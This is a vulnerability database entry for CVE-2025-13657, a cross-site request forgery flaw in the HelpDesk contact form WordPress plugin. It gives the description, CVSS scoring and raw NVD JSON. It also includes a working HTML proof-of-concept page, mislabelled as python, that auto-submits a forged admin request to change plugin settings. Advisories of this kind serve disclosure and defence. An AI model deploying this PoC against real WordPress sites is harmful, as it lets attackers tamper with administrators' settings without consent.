Security Vulnerability Report
中文
CVE-2025-13657 CVSS 4.3 MEDIUM

CVE-2025-13657

Published: 2026-01-07 12:16:49
Last Modified: 2026-04-15 00:35:42

Description

The HelpDesk contact form plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.5. This is due to missing or incorrect nonce validation on the handle_query_args() function. This makes it possible for unauthenticated attackers to update the plugin's license ID and contact form ID settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

HelpDesk contact form <= 1.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13657 CSRF PoC for HelpDesk Contact Form --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-13657</title> </head> <body> <h1>CSRF PoC for HelpDesk Contact Form Plugin</h1> <p>Click the button below to trigger the CSRF attack (as an admin user):</p> <!-- Form to modify license ID --> <form id="csrfForm" action="http://target-site.com/wp-admin/admin.php" method="POST"> <input type="hidden" name="page" value="helpdesk-settings"> <input type="hidden" name="action" value="update_settings"> <input type="hidden" name="license_id" value="malicious_license_key"> <input type="hidden" name="contact_form_id" value="999"> <input type="hidden" name="_wpnonce" value=""> <button type="submit">Execute CSRF Attack</button> </form> <script> // Auto-submit the form (for demonstration) // In real attack, this would be triggered by social engineering document.getElementById('csrfForm').submit(); /* * Attack Description: * 1. Attacker creates a malicious page with this form * 2. Lures a logged-in WordPress admin to visit the page * 3. The form auto-submits using the admin's session cookies * 4. Without proper nonce validation, the server accepts the request * 5. Plugin settings (license_id, contact_form_id) are modified * * Requirements: * - Target must be running HelpDesk contact form <= 1.1.5 * - Victim must be logged in as WordPress admin * - Victim must visit the attacker's page */ </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13657", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:49.397", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HelpDesk contact form plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.5. This is due to missing or incorrect nonce validation on the handle_query_args() function. This makes it possible for unauthenticated attackers to update the plugin's license ID and contact form ID settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin de formulario de contacto HelpDesk para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 1.1.5, inclusive. Esto se debe a una validación de nonce faltante o incorrecta en la función handle_query_args(). Esto hace posible que atacantes no autenticados actualicen la ID de licencia y la configuración de ID del formulario de contacto del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/helpdesk-contact-form/tags/1.1.5/includes/class-admin-page.php#L63", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/helpdesk-contact-form/trunk/includes/class-admin-page.php#L63", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3439463/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/342ece60-faf1-4fee-bf1e-6f6107f32861?source=cve", "source": "[email protected]"}]}}